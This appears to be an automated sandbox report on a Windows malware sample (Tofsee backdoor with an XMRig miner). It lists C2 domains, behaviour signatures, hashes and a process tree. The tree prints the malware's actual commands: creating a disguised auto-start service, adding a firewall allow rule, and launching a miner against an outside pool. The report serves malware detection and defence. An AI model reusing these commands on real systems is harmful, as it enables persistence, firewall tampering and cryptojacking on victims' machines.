Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 02:50

General

  • Target
    file.exe
  • Size 215KB
  • Sample221219-dblaqaeb33
  • SHA256 765885f76048fa88b34d8f7aa400fc797c2439aeed8c3e034b7b1f3f7625c1fa
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cndhrckq\
      2⤵
        PID:4364
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ukqxcosh.exe" C:\Windows\SysWOW64\cndhrckq\
        2⤵
          PID:1136
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cndhrckq binPath= "C:\Windows\SysWOW64\cndhrckq\ukqxcosh.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cndhrckq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cndhrckq
          2⤵
          • Launches sc.exe
          PID:4328
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4376
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2636 -s 1036
          2⤵
          • Program crash
          PID:2120
      • C:\Windows\SysWOW64\cndhrckq\ukqxcosh.exe
        C:\Windows\SysWOW64\cndhrckq\ukqxcosh.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4008
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2664
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 512
          2⤵
          • Program crash
          PID:216
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2636 -ip 2636
        1⤵
          PID:764
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4008 -ip 4008
          1⤵
            PID:2660

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ukqxcosh.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ukqxcosh.exe
                • Size 13.2MB
                • SHA256 2df428cac1bdeefdac76615a10c87b337c7e29856727f9d42b774d2e46a24dc4
                • MD5 SHA1 SHA512 SSDEEP

                ukqxcosh.exe

                • Path C:\Windows\SysWOW64\cndhrckq\ukqxcosh.exe
                • Size 13.2MB
                • SHA256 2df428cac1bdeefdac76615a10c87b337c7e29856727f9d42b774d2e46a24dc4
                • MD5 SHA1 SHA512 SSDEEP

                memory/312-177-0x0000000000680000-0x0000000000771000-memory.dmp

                memory/312-172-0x0000000000680000-0x0000000000771000-memory.dmp

                memory/2636-143-0x0000000000659000-0x000000000066A000-memory.dmp

                memory/2636-133-0x0000000000600000-0x0000000000613000-memory.dmp

                memory/2636-134-0x0000000000400000-0x000000000045D000-memory.dmp

                memory/2636-132-0x0000000000659000-0x000000000066A000-memory.dmp

                memory/2636-144-0x0000000000400000-0x000000000045D000-memory.dmp

                memory/2664-159-0x0000000001F70000-0x0000000001F80000-memory.dmp

                memory/2664-168-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

                memory/2664-146-0x0000000000AF0000-0x0000000000B05000-memory.dmp

                memory/2664-165-0x0000000007680000-0x0000000007A8B000-memory.dmp

                memory/2664-162-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

                memory/2664-151-0x0000000000AF0000-0x0000000000B05000-memory.dmp

                memory/2664-152-0x0000000000AF0000-0x0000000000B05000-memory.dmp

                memory/2664-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/2664-156-0x0000000001F60000-0x0000000001F66000-memory.dmp

                memory/4008-150-0x0000000000400000-0x000000000045D000-memory.dmp

                memory/4008-149-0x0000000000503000-0x0000000000514000-memory.dmp